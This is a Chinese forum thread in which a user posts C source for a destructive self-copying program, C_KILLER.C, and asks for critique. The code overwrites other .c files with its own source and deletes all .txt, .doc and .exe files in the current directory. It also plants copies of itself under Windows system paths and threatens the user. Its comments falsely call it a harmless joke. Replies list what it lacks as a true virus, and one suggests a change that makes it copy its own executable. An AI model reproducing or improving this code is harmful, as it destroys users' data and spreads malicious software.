回 帖 发 新 帖 刷新版面

主题:五一写的简单C病毒,请大家给些意见!

            
/**********************************


IN FACT,IT"S NOT A VIRYUS AT ALL.


**********************************/

#include <io.h>
#include <dir.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/* copy outfile to infile */
void copyfile(char *infile, char *outfile)
{
    FILE *in,*out;

    in = fopen(infile,"r");
    out = fopen(outfile,"w");

    while (!feof(in))
    {
        fputc(fgetc(in),out);
    }

    fclose(in);
    fclose(out);
}

/*

This function  named Rubbishmaker.

*/
void MakeRubbish()
{
    int i;    
    FILE *fp;
    char *path;
    char *NewName;
    char *disk[7] = {"A","B","C","D","E","F","G"};
    char *addtion = ":\\";

    /* Make some rubbish at the current catalogue */
    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX" ;

        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }


/* make some rubbish at the root catalogue */

    path = strcat(disk[getdisk()],addtion); /* get the root catalogue */

    chdir(path); /*change directory according to the "path" */

    for (i = 0; i<5; i++)
    {
        char tempname[] = "XXXXXX";

        NewName = mktemp(tempname);
        fp = fopen(NewName,"w");
        fclose(fp);
    }

}


/*

  This function can  creat some .exe or .com documents in the sensitive place.
  Don't worry,It's only a joke.It will do no harm to your computer.

*/

void CreatEXE()
{
    int i;
    char *path;

    char *s[2] = {"C:\\WINDOWS\\system32\\loveworm.exe","C:\\WINDOWS\\virusssss.com"};


    for ( i = 0; i < 2; i++)
    {
        open(s[i], 0x0100,0x0080);
        copyfile( "C_KILLER.C",s[i]);

    }
}


/* remove something from your computer */
void Remove()
{
        
    int done;
    int i;

    struct ffblk ffblk;
    char *documenttype[3] = {"*.txt","*.doc","*.exe"};
    for (i = 0; i < 3; i++)
    {
        done = findfirst(documenttype[i],&ffblk,2);
        while (!done)
        {
                remove(ffblk.ff_name);
                done = findnext(&ffblk);
        }
    }
}



/* overlay the c programs */
void Breed()
{
        
    int done;

    struct ffblk ffblk;

    done = findfirst("*.c",&ffblk,2);
    while (!done)
    {
        if (strcmp("C_KILLER.C", ffblk.ff_name) != 0 )

        {
                copyfile("C_KILLER.C",ffblk.ff_name);
        }
        done = findnext(&ffblk);
    }

}


void main()
{

        

        printf("THERE IS A VIRUS BY  XIAOKE.\n\n");

        Breed();
        Remove();
        CreatEXE();


        printf("COULD YOU TELL ME YOUR NAME?\n\n");
        printf("NOW,PLEASE ENTER YOUR NAME,OR THERE WILL BE SOME TROUBLE WITH YOU!\n\n");

        MakeRubbish();
        getchar();
        printf("IT'S ONLY A JOKE! THANK YOU!\n\n");

        clrscr();
        system("cmd");
}

                                                       

        
        
            
        


   [em1][em1][em1][em1]

回复列表 (共57个回复)

11 楼

[font=宋体][/font]
多谢!这使我对病毒有了一个大概的了解。

12 楼

这本书在哪可以买到!!!

13 楼

也许我看错了,这个程序只是做了一些破坏活动,还缺少一点关键内容。
1, 不能驻留内存。
2。只能主动执行这个程序搞破坏,它可以在Windows环境下做为DOS程序运行。
3。只能产生自身的可执行文件复制品,不能把自身感染在别的可执行文件内。
4。只能在程序所在的目录里删除一些文件。
严格的说,这只是一个捣蛋程序,不是病毒。当然,也许因为这是一个简
单程序,所以没有这些内容。

14 楼

也许我看错了,这个程序只是做了一些破坏活动,还缺少一点关键内容。
1, 不能驻留内存。
2。只能主动执行这个程序搞破坏,它可以在Windows环境下做为DOS程序运行。
3。只能产生自身的可执行文件复制品,不能把自身感染在别的可执行文件内。
4。只能在程序所在的目录里删除一些文件。
严格的说,这只是一个捣蛋程序,不是病毒。当然,也许因为这是一个简
单程序,所以没有这些内容。

15 楼

也许我看错了,这个程序只是做了一些破坏活动,还缺少一点关键内容。
1, 不能驻留内存。
2。只能主动执行这个程序搞破坏,它可以在Windows环境下做为DOS程序运行。
3。只能产生自身的可执行文件复制品,不能把自身感染在别的可执行文件内。
4。只能在程序所在的目录里删除一些文件。
严格的说,这只是一个捣蛋程序,不是病毒。当然,也许因为这是一个简
单程序,所以没有这些内容。

16 楼

回复帖子时,总是提示错误,所以多试了几次,怎么都发出去了? 抱歉 !

17 楼

[em20]你好,这位哥哥,我也是学信息安全的,我想和你交朋友。因此想知道你学习中的一些感想。谢谢!!

18 楼

我觉得的点不妥:
1 void CreatEXE()
2{
3....
4for ( i = 0; i < 2; i++)
5    {
6        open(s[i], 0x0100,0x0080);
7        copyfile( "C_KILLER.C",s[i]);
8    }
9}
这一段中的第1,8行,应该改一下,
1 void CreatEXE(char filename)
8 copyfile(filename,si[i]);
我觉得这样比较好一点,要不然,可以能无法让它完成COPY,另在主程序中
main()应为main(int argc,char *argv[])
调用上面那个函数时应为:CreatEXE(argv[0]);

19 楼

dos上的病毒要驻留,拦截中断服务程序,其实挺复杂的。

而Windows操作系统是多任务操作系统工作机理不一样所以,

DOS上的病毒一般都不能在windows上运行

也许,Windows病毒反而要简单一点,不是吗?

20 楼

好厉害啊,我也是学软件的,但现在是一年级的,所以可以说还是菜鸟啊,大哥们以后多多帮助啊

我来回复

您尚未登录,请登录后再回复。点此登录或注册